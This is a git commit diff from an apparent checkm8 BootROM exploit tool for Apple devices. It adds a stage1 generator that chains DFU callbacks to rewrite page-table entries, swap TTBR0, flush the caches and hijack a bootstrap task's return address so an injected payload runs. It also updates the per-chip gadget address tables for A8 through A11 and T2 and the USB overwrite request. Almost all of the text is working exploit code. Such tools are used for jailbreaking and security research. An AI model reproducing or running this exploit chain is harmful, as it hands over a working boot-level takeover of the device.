feat(m8): stage1 generator

Co-Authored-By: meow <[email protected]>
This commit is contained in:
CLARATIONandmeow committed 2026-07-02 16:42:23 -07:00
1 parent df7435f937
commit 89b6147e26
17 files changed
+384 -177

No files matched your search

+15 -16
View File
@@ -7,6 +7,7 @@
#include "payload.h"
#include "dfu.h"
#include "stage1.h"
#include "../utils.h"
#include "../usb/shim.h"
@@ -153,28 +154,26 @@ bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
size_t i, data_sz, packet_sz;
const uint8_t *payload = NULL;
uint8_t *data;
transfer_ret_t transfer_ret;
bool ret = false;
void* blank[DFU_MAX_TRANSFER_SZ];
memset(blank, 0, DFU_MAX_TRANSFER_SZ);
uint64_t* p = (uint64_t*)blank;
p[5] = payloadConfig->insecure_memory_base;
void* checkra1n_payload = NULL;
void *overwrite = NULL;
size_t checkra1n_payload_sz = 0;
size_t overwrite_sz = 0;
ret = create_pongo_payload_for_device(deviceConfig->cpid, &payload, &data_sz);
checkm8_overwrite_t checkm8_overwrite;
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
overwrite = &checkm8_overwrite;
overwrite_sz = sizeof(checkm8_overwrite);
ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
if (!ret) return false;
LOG_VERBOSE("setting up stage 2 for CPID 0x%X", (unsigned)deviceConfig->cpid);
data = calloc(1, data_sz);
if (!data) {
LOG_ERROR("failed to allocate payload buffer");
return false;
}
memcpy(data, payload, data_sz);
ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
if (!ret) return false;
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
LOG_VERBOSE("successfully leaked data");
@@ -186,7 +185,7 @@ bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration
LOG_VERBOSE("i = %zu", i);
send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL);
}
if(p != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, p, 0x30, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
if(overwrite != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
ret = true;
for(i = 0; ret && i < data_sz; i += packet_sz) {
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
+98 -140
View File
@@ -12,6 +12,7 @@
#include "../gen/payloads/yolo_t7001.h"
#include "../gen/payloads/yolo_t8010.h"
#include "../gen/payloads/yolo_t8011.h"
#include "../gen/payloads/yolo_t8012.h"
#include "../gen/payloads/yolo_t8015.h"
bool checkm8_find_device_configuration_for_cpid(
@@ -64,160 +65,116 @@ bool checkm8_find_payload_configuration_for_cpid(
bool foundMatchingConfiguration = true;
switch (cpid) {
case A11:
config->tlbi = 0x1000004AC;
config->nop_gadget = 0x10000A9C4;
config->ret_gadget = 0x100000148;
config->patch_addr = 0x10000624C;
config->ttbr0_addr = 0x18000C000;
config->func_gadget = 0x10000A9AC;
config->write_ttbr0 = 0x10000045C;
config->memcpy_addr = 0x10000E9D0;
config->aes_crypto_cmd = 0x100009E9C;
config->boot_tramp_end = 0x18001C000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180003A78;
config->dfu_handle_request = 0x180008638;
config->usb_core_do_transfer = 0x10000B9A8;
config->dfu_handle_bus_reset = 0x180008668;
config->insecure_memory_base = 0x18001C000;
config->handle_interface_request = 0x10000BCCC;
config->usb_create_string_descriptor = 0x10000AE80;
config->usb_serial_number_string_descriptor = 0x1800008FA;
config->insecure_memory_base = 0x18001C000;
config->func_gadget = 0x10000a998;
config->tlbi = 0x1000004AC;
config->write_prim = 0x100009c48;
config->arm_clean_invalidate_dcache_line = 0x1000004e4;
config->arm_invalidate_icache = 0x1000004c0;
config->enter_critical_section = 0x10000f958;
config->exit_critical_section = 0x10000f9a0;
config->write_ttbr0 = 0x10000045c;
config->tlbi = 0x1000004ac;
config->TTBR0_PATCH_BASE = 0x180020000;
config->TTBR0_BASE = 0xc000;
config->bootstrap_task_lr = 0x180015f88;
config->payload_start_offset = 0x800;
break;
case T2:
config->tlbi = 0x100000494;
config->nop_gadget = 0x100008DB8;
config->ret_gadget = 0x10000012C;
config->patch_addr = 0x100004854;
config->ttbr0_addr = 0x18000C000;
config->func_gadget = 0x100008DA0;
config->write_ttbr0 = 0x100000444;
config->memcpy_addr = 0x10000EA30;
config->aes_crypto_cmd = 0x1000082AC;
config->boot_tramp_end = 0x18001C000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180003AF8;
config->dfu_handle_request = 0x180008B08;
config->usb_core_do_transfer = 0x10000BD20;
config->dfu_handle_bus_reset = 0x180008B38;
config->insecure_memory_base = 0x18001C000;
config->handle_interface_request = 0x10000BFFC;
config->usb_create_string_descriptor = 0x10000B1CC;
config->usb_serial_number_string_descriptor = 0x18000082A;
config->insecure_memory_base = 0x18001C000;
config->func_gadget = 0x100008d8c;
config->write_prim = 0x100008058;
config->arm_clean_invalidate_dcache_line = 0x1000004cc;
config->arm_invalidate_icache = 0x1000004a8;
config->enter_critical_section = 0x10000f9b8;
config->exit_critical_section = 0x10000fa00;
config->write_ttbr0 = 0x100000444;
config->tlbi = 0x100000494;
config->TTBR0_PATCH_BASE = 0x180020000;
config->TTBR0_BASE = 0xc000;
config->bootstrap_task_lr = 0x180015f78;
config->payload_start_offset = 0x800;
break;
case A10X:
config->tlbi = 0x100000444;
config->nop_gadget = 0x10000CD0C;
config->ret_gadget = 0x100000148;
config->patch_addr = 0x100007630;
config->ttbr0_addr = 0x1800A0000;
config->func_gadget = 0x10000CCEC;
config->write_ttbr0 = 0x1000003F4;
config->memcpy_addr = 0x100010950;
config->aes_crypto_cmd = 0x10000C994;
config->boot_tramp_end = 0x1800B0000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180083D28;
config->dfu_handle_request = 0x180088A58;
config->usb_core_do_transfer = 0x10000DD64;
config->dfu_handle_bus_reset = 0x180088A88;
config->insecure_memory_base = 0x1800B0000;
config->handle_interface_request = 0x10000E08C;
config->usb_create_string_descriptor = 0x10000D234;
config->usb_serial_number_string_descriptor = 0x18008062A;
config->insecure_memory_base = 0x1800B0000;
config->func_gadget = 0x10000cce4;
config->write_prim2 = 0x100001804;
config->arm_clean_invalidate_dcache_line = 0x10000047c;
config->arm_invalidate_icache = 0x100000458;
config->enter_critical_section = 0x10000a658;
config->exit_critical_section = 0x10000a6a0;
config->write_ttbr0 = 0x1000003F4;
config->tlbi = 0x100000444;
config->TTBR0_PATCH_BASE = 0x1800b4000;
config->TTBR0_BASE = 0xa0000;
config->bootstrap_task_lr = 0x1800a9f88;
config->payload_start_offset = 0x800;
break;
case A10:
config->tlbi = 0x100000434;
config->nop_gadget = 0x10000CC6C;
config->ret_gadget = 0x10000015C;
config->patch_addr = 0x1000074AC;
config->ttbr0_addr = 0x1800A0000;
config->func_gadget = 0x10000CC4C;
config->write_ttbr0 = 0x1000003E4;
config->memcpy_addr = 0x100010730;
config->aes_crypto_cmd = 0x10000C8F4;
config->boot_tramp_end = 0x1800B0000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180083CF8;
config->dfu_handle_request = 0x180088B48;
config->usb_core_do_transfer = 0x10000DC98;
config->dfu_handle_bus_reset = 0x180088B78;
config->insecure_memory_base = 0x1800B0000;
config->handle_interface_request = 0x10000DFB8;
config->usb_create_string_descriptor = 0x10000D150;
config->usb_serial_number_string_descriptor = 0x1800805DA;
config->insecure_memory_base = 0x1800B0000;
config->func_gadget = 0x10000cc44;
config->write_prim2 = 0x100001808;
config->arm_clean_invalidate_dcache_line = 0x10000046c;
config->arm_invalidate_icache = 0x100000448;
config->enter_critical_section = 0x10000A4B8;
config->exit_critical_section = 0x10000A514;
config->write_ttbr0 = 0x1000003E4;
config->tlbi = 0x100000434;
config->TTBR0_PATCH_BASE = 0x1800b4000;
config->TTBR0_BASE = 0xa0000;
config->bootstrap_task_lr = 0x1800a9f68;
config->payload_start_offset = 0x800;
break;
case A9X:
config->tlbi = 0x100000404;
config->nop_gadget = 0x10000CD60;
config->ret_gadget = 0x100000118;
config->patch_addr = 0x100007668;
config->ttbr0_addr = 0x180050000;
config->func_gadget = 0x10000CD40;
config->write_ttbr0 = 0x1000003B4;
config->memcpy_addr = 0x1000106F0;
config->aes_crypto_cmd = 0x10000C9D4;
config->boot_tramp_end = 0x180044000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180047578;
config->dfu_handle_request = 0x18004C378;
config->usb_core_do_transfer = 0x10000DDA4;
config->dfu_handle_bus_reset = 0x18004C3A8;
config->insecure_memory_base = 0x180000000;
config->handle_interface_request = 0x10000E0B4;
config->usb_create_string_descriptor = 0x10000D280;
config->usb_serial_number_string_descriptor = 0x18004486A;
config->insecure_memory_base = 0x180000000;
config->func_gadget = 0x10000cd38;
config->write_prim2 = 0x100001a78;
config->arm_clean_invalidate_dcache_line = 0x10000043c;
config->arm_invalidate_icache = 0x100000418;
config->enter_critical_section = 0x100009b24;
config->exit_critical_section = 0x100009b88;
config->write_ttbr0 = 0x1000003b4;
config->tlbi = 0x100000404;
config->TTBR0_PATCH_BASE = 0x180004000;
config->TTBR0_BASE = 0x50000;
config->bootstrap_task_lr = 0x180059f58;
config->payload_start_offset = 0x800;
break;
case A9:
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000de0c;
config->write_prim2 = 0x100001bc0;
config->arm_clean_invalidate_dcache_line = 0x10000042c;
config->arm_invalidate_icache = 0x100000408;
config->bootstrap_task_lr = 0x1800c2f58;
config->payload_start_offset = 0xc0;
break;
case A9_TSMC:
case A9:
config->patch_addr = 0x10000812C;
config->ttbr0_addr = 0x1800C8000;
config->memcpy_addr = 0x100011030;
config->aes_crypto_cmd = 0x10000DAA0;
config->boot_tramp_end = 0x1800E1000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180087958;
config->dfu_handle_request = 0x1800878F8;
config->usb_core_do_transfer = 0x10000EE78;
config->dfu_handle_bus_reset = 0x180087928;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x10000F1B0;
config->usb_create_string_descriptor = 0x10000E354;
config->usb_serial_number_string_descriptor = 0x1800807DA;
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000de0c;
config->write_prim2 = 0x100001bc0;
config->arm_clean_invalidate_dcache_line = 0x10000042c;
config->arm_invalidate_icache = 0x100000408;
config->bootstrap_task_lr = 0x1800c2f58;
config->payload_start_offset = 0xc0;
break;
case A8X:
config->patch_addr = 0x10000AD04;
config->memcpy_addr = 0x100013F10;
config->aes_crypto_cmd = 0x100010A90;
config->boot_tramp_end = 0x1800E1000;
config->gUSBSerialNumber = 0x180088E48;
config->dfu_handle_request = 0x180088DF8;
config->usb_core_do_transfer = 0x100011BB4;
config->dfu_handle_bus_reset = 0x180088E18;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x100011EE4;
config->usb_create_string_descriptor = 0x100011074;
config->usb_serial_number_string_descriptor = 0x180080C2A;
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x100010df4;
config->write_prim = 0x10000ed5c;
config->arm_clean_invalidate_dcache_line = 0x100000448;
config->arm_invalidate_icache = 0x100000424;
config->bootstrap_task_lr = 0x1800c2f68;
config->payload_start_offset = 0xc0;
break;
case A8:
config->patch_addr = 0x100007E98;
config->memcpy_addr = 0x100010E70;
config->aes_crypto_cmd = 0x10000DA90;
config->boot_tramp_end = 0x1800E1000;
config->gUSBSerialNumber = 0x1800888C8;
config->dfu_handle_request = 0x180088878;
config->usb_core_do_transfer = 0x10000EBB4;
config->dfu_handle_bus_reset = 0x180088898;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x10000EEE4;
config->usb_create_string_descriptor = 0x10000E074;
config->usb_serial_number_string_descriptor = 0x18008062A;
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000ddf4;
config->write_prim = 0x10000bc2c;
config->arm_clean_invalidate_dcache_line = 0x100000448;
config->arm_invalidate_icache = 0x100000424;
config->bootstrap_task_lr = 0x1800c2f68;
config->payload_start_offset = 0xc0;
break;
default:
LOG_ERROR("CPID 0x%x is not supported!", cpid);
@@ -228,6 +185,7 @@ bool checkm8_find_payload_configuration_for_cpid(
static const yolo_payload_t yolo_payloads[] = {
{A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len},
{T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len},
{A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len},
{A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len},
{A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len},
+13 -20
View File
@@ -26,27 +26,20 @@ struct DeviceConfiguration {
struct PayloadConfiguration {
uint64_t
tlbi,
nop_gadget,
ret_gadget,
patch_addr,
ttbr0_addr,
func_gadget,
write_ttbr0,
memcpy_addr,
aes_crypto_cmd,
boot_tramp_end,
ttbr0_vrom_off,
ttbr0_sram_off,
gUSBSerialNumber, // ??
dfu_handle_request,
usb_core_do_transfer,
dfu_handle_bus_reset,
insecure_memory_base,
handle_interface_request,
usb_create_string_descriptor,
usb_serial_number_string_descriptor;
uint32_t payload_dest_armv7;
func_gadget,
write_prim,
write_prim2,
arm_clean_invalidate_dcache_line,
arm_invalidate_icache,
enter_critical_section,
exit_critical_section,
write_ttbr0,
tlbi,
TTBR0_PATCH_BASE,
TTBR0_BASE,
bootstrap_task_lr,
payload_start_offset;
};
typedef struct {
+223
View File
@@ -0,0 +1,223 @@
#include "stage1.h"
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include "payload.h"
#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580
bool generate_stage1(
void** outbuf,
size_t* outlen,
void* payload,
size_t payload_sz,
struct DeviceConfiguration *deviceConfig,
struct PayloadConfiguration *payloadConfig
) {
bool wnx = false;
uint64_t write_gadget = 0;
uint32_t write_val = 0;
uint64_t base_address = payloadConfig->insecure_memory_base;
if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11)
{
wnx = true;
}
size_t presize = wnx == true ? 0x800 : 0xc0;
void *buf = malloc(presize);
uint32_t nextOffset = 0;
unsigned char* nextBuf = NULL;
dfu_callback_t* cb = (dfu_callback_t*)buf;
nextBuf = buf;
uint32_t current_size = 0;
int count = 0;
#define PUSH(end, func, arg0, arg1) \
{ \
count++; \
current_size = nextOffset + sizeof(dfu_callback_t); \
if(!(current_size > (wnx == true ? 0x800 : 0xc0))) \
{ \
cb->callback = payloadConfig->func_gadget; \
if(count%3 == 0) \
nextOffset += 0x80; \
else \
nextOffset += 0x20; \
if(!end)cb->next = base_address + nextOffset; \
uint64_t* ptr = (uint64_t*)(cb); \
uint32_t* ptr32 = (uint32_t*)(cb); \
ptr[15] = func; \
if(func == payloadConfig->write_prim) \
{ \
ptr[14] = (uint64_t)(arg0 - 4); \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == payloadConfig->write_prim2) \
{ \
ptr[14] = (uint64_t)arg0; \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == payloadConfig->write_ttbr0) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
else if(func == payloadConfig->arm_clean_invalidate_dcache_line) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
nextBuf = (unsigned char*)(buf + nextOffset); \
cb = (dfu_callback_t*)nextBuf; \
} \
else \
{ \
goto fail; \
} \
} \
if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8))
{
write_gadget = payloadConfig->write_prim;
}
else
{
write_gadget = payloadConfig->write_prim2;
}
uint64_t vrom_address = 0x100000000;
uint64_t sram_address = 0x180000000;
uint64_t new_va = 0x142000000; // post-exploit
uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint64_t sram_rx_va = 0x140000000; // execute payload
uint64_t sram_rw_va = 0x142000000; // custom ttbr
uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint64_t vrom_rw_va = 0x144000000;
uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
if(wnx) // only A9X-A11
{
// VROM: 0x100000000
uint64_t vrom_bit = vrom_address | 0x6a5;
uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
// Newp: 0x142000000
uint64_t new_bit = sram_address | 0x621; // pa
new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
new_bit |= (1uL << 53); // PXN
new_bit |= (1uL << 54); // XN
uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff);
uint32_t new_bit_upper = (uint32_t)(new_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
// Newp: 0x144000000
uint64_t new_bit_2 = sram_address | 0x621; // pa
new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
new_bit_2 |= (1uL << 53); // PXN
new_bit_2 |= (1uL << 54); // XN
uint32_t new_bit_lower_2 = (uint32_t)(new_bit_2 & 0xffffffff);
uint32_t new_bit_upper_2 = (uint32_t)(new_bit_2 >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2);
// SRAM: 0x180000000
uint64_t sram_bit = sram_address | 0x3;
sram_bit |= (1uL << 63); // NS
if(deviceConfig->cpid == A11) sram_bit |= 0x10000;
if(deviceConfig->cpid == T2) sram_bit |= 0x10000;
if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000;
if(deviceConfig->cpid == A10) sram_bit |= 0xa4000;
if(deviceConfig->cpid == A9X) sram_bit |= 0x54000;
uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
}
if(wnx)
{
write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset);
}
else
{
write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset);
}
PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val);
if(wnx) // only A9X-A11
{
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
}
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0);
PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0);
if(wnx) // only A9X-A11
{
uint64_t sram_rx_bit = sram_address | 0x6a5;
uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
uint64_t sram_rw_bit = sram_address | 0x621;
sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
sram_rw_bit |= (1uL << 53); // PXN
sram_rw_bit |= (1uL << 54); // XN
uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
uint64_t vrom_rw_bit = vrom_address | 0x621;
vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
vrom_rw_bit |= (1uL << 53); // PXN
vrom_rw_bit |= (1uL << 54); // XN
uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff);
uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32);
PUSH(0, payloadConfig->enter_critical_section, 0, 0);
PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0);
PUSH(0, payloadConfig->tlbi, 0, 0);
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower);
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0);
PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0);
PUSH(0, payloadConfig->tlbi, 0, 0);
PUSH(1, payloadConfig->exit_critical_section, 0, 0);
}
*outlen = payload_sz + (wnx == true ? 0x800 : 0xc0);
*outbuf = malloc(*outlen);
memset(*outbuf, 0x0, *outlen);
memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0);
memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz);
if(buf) free(buf);
return true;
fail:
if(buf) free(buf);
return false;
}
+31
View File
@@ -0,0 +1,31 @@
#ifndef STAGE1_H
#define STAGE1_H
#include <stdint.h>
#include <stdbool.h>
#include "payload.h"
typedef struct
{
uint32_t endpoint, pad_0;
uint64_t io_buffer;
uint32_t status, io_len, ret_cnt, pad_1;
uint64_t callback, next;
} dfu_callback_t;
typedef struct
{
dfu_callback_t callback;
} checkm8_overwrite_t;
bool generate_stage1(
void** outbuf,
size_t* outlen,
void* payload,
size_t payload_sz,
struct DeviceConfiguration *deviceConfig,
struct PayloadConfiguration *payloadConfig
);
#endif // STAGE1_H